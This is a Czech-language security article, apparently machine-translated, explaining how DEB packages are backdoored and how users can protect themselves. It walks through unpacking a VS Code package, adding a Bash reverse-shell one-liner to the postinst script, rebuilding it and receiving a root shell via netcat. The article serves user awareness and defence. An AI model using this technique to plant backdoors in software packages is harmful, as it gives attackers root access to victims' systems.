Věděli jste, že útočníci mohou upravit skripty zabalené v souboru DEB, aby získali neoprávněný přístup k vašemu PC? Zde je návod, jak jsou balíčky DEB backdoored.

Klíčové věci

  • Balíčky DEB lze snadno zavřít, což umožňuje útočníkům vložit do vašeho systému škodlivý kód, když je nainstalujete s oprávněním root.
  • Infikované balíčky DEB je obtížné odhalit, protože nemusí být označeny antivirovým softwarem nebo cloudovými řešeními, jako je VirusTotal.
  • Abyste se ochránili, vyhněte se stahování DEB balíčků z náhodných stránek, držte se oficiálních stahovacích stránek popř komunitou důvěryhodných webů a zvažte instalaci bezpečnostních nástrojů k zabezpečení vašeho systému Linux proti síti útoky.

Soubory DEB jsou softwarové balíčky, které jsou primárním formátem dodávaného softwaru v distribucích Linuxu založených na Debianu.

Chcete-li nainstalovat balíčky DEB, musíte použít správce balíčků, jako je dpkg, s oprávněními root. Útočníci toho využívají a vkládají do těchto balíčků zadní vrátka. Když je nainstalujete pomocí dpkg nebo jiného správce balíčků, škodlivý kód se také spustí a ohrozí váš systém.

Pojďme prozkoumat, jak přesně jsou balíčky DEB backdoored a co můžete udělat, abyste se ochránili.

Jak jsou balíčky DEB backdoored?

Než pochopíte, jak jsou balíčky DEB backdoored, pojďme prozkoumat, co je uvnitř balíčku DEB. Pro ukázku si stáhnu balíček Microsoft Visual Studio Code DEB z oficiálních stránek Microsoftu. Jedná se o stejný balíček, který byste si stáhli, pokud chcete nainstalovat VS Code na Linux.

Stažení:Kód Visual Studio

Nyní, když máte stažený cílový balíček, je čas jej rozbalit. Balíček DEB můžete rozbalit pomocí dpkg-deb příkaz s -R příznak následovaný cestou k uložení obsahu:

dpkg-deb -R 

To by mělo extrahovat obsah balíčku VS Code.

Přesunutím do složky najdete několik adresářů, náš zájem však spočívá pouze v DEBIAN adresář. Tento adresář obsahuje skripty správce, které se spouštějí během instalace s právy root. Jak jste již možná zjistili, útočníci upravují skripty v tomto adresáři.

Pro ukázku upravím postinst skript a přidejte jednoduchý jednořádkový reverzní TCP shell Bash. Jak název napovídá, je to skript, který se spustí po instalaci balíčku do systému.

Obsahuje příkazy, které dokončují konfigurace, jako je nastavení symbolických odkazů, zpracování závislostí a další. Na internetu najdete tuny různých reverzních skořápek. Většina z nich bude fungovat stejně. Zde je ukázka reverzní skořepiny s jednou vložkou:

bash -i >& /dev/tcp/127.0.0.1/42069 0>&1

Vysvětlení příkazu:

  • bash: Toto je příkaz, který vyvolá shell Bash.
  • -já: Příznak říká Bash, aby běžel v interaktivním režimu umožňujícím I/O příkazů v reálném čase.
  • >& /dev/tcp/ip/port: Toto přesměruje standardní výstup a standardní chyba do síťového soketu, v podstatě navázání TCP spojení s a .
  • 0>&1: To přesměruje vstup a výstup na stejné místo, tedy do síťové zásuvky.

Pro nezasvěcené je reverzní shell typ kódu, který po spuštění na cílovém počítači zahájí připojení zpět k počítači útočníka. Reverzní shelly jsou skvělým způsobem, jak obejít omezení firewallu, protože provoz je generován ze stroje za firewallem.

Takto upravený skript vypadá:

Jak vidíte, vše je stejné, ale byl přidán pouze jeden řádek, tedy náš reverzní shell Bash. Nyní musíte zabudovat soubory zpět do ".deb" formát. Jednoduše použijte dpkg příkaz s --stavět vlajka nebo použití dpkg-deb s -b příznak následovaný cestou extrahovaného obsahu:

dpkg --build 
dpkg-deb -b

Nyní je backdoored DEB balíček připraven k odeslání na škodlivé stránky. Pojďme simulovat scénář, kdy si oběť stáhla balíček DEB do svého systému a instaluje jej jako jakýkoli jiný běžný balíček.

Horní panel terminálu je pro POV oběti a spodní je POV útočníka. Oběť instaluje balíček s sudo dpkg -i a útočník trpělivě naslouchá příchozím připojením pomocí netcat příkaz v Linuxu.

Jakmile instalace skončí, všimněte si, že útočník získá zpětné připojení shellu a nyní má root přístup k systému oběti. Nyní víte, jak jsou balíčky DEB backdoored. Pojďme se nyní naučit, jak se můžete chránit.

Jak zjistit, zda je balíček DEB škodlivý

Nyní, když víte, že infikované DEB balíčky jsou věc, musíte se divit, jak najít infikované. Pro začátek můžete zkusit použít a Linuxový antivirový software jako ClamAV. Bohužel, když byl balíček spuštěn ClamAV scan, neoznačil jej jako škodlivý. Zde je výsledek skenování:

Pokud tedy nemáte zavedené prémiové antivirové řešení (což není zárukou, že nebudete napadeni), je poměrně těžké odhalit škodlivé DEB balíčky. Zkusme použít cloudové řešení, jako je web VirusTotal:

Jak vidíte, VirusTotal na něm nezjistil nic špatného. Jediný způsob, jak se chránit proti takovým hrozbám, je dodržovat základní bezpečnostní hygienu, jako je nestahování souborů z neznámých zdrojů, vždy kontrola hash souborua obecně se vyvarujte instalace stinného softwaru.

Internet je plný takových hrozeb. Jediný způsob, jak surfovat bez ztráty dat, je mít rozum a procházet důvěryhodné stránky. V případě Linuxu byste se navíc měli pokusit zjistit, zda software, který stahujete, má příponu Varianta AppImage protože jsou soběstačné a lze je umístit do karantény, a tím je udržet mimo kontakt s vaším systémem.

Nestahujte DEB balíčky z náhodných stránek!

Balíčky DEB nejsou ve své podstatě špatné, nicméně útočníci je mohou snadno vyzbrojit a poslat nic netušícím uživatelům. Jak bylo ukázáno, balíček DEB lze snadno otevřít a upravit pro přidání vlastního kódu pouze pomocí několika příkazů, což z něj činí běžný vektor pro zasílání malwaru.

Špičková antivirová řešení nezachytí ani jednoduchá zadní vrátka na balíčcích DEB. Nejlepší je tedy hrát na jistotu, při procházení webu se řídit zdravým rozumem a vždy stahovat software pouze z oficiálních stahovacích stránek nebo webů důvěryhodných komunitou.

Nyní, když jste si vědomi bezpečnostních rizik, která s sebou přináší instalace DEB balíčků z nových nebo neznámých stránek, měli byste být při instalaci nového softwaru opatrní. Pouhá opatrnost na to, co instalujete, však nestačí. Váš systém Linux může být také cílem síťových útoků.

Abyste měli jistotu, že jste v bezpečí v případě síťového útoku, měli byste zvážit instalaci nástrojů pro zabezpečení sítě.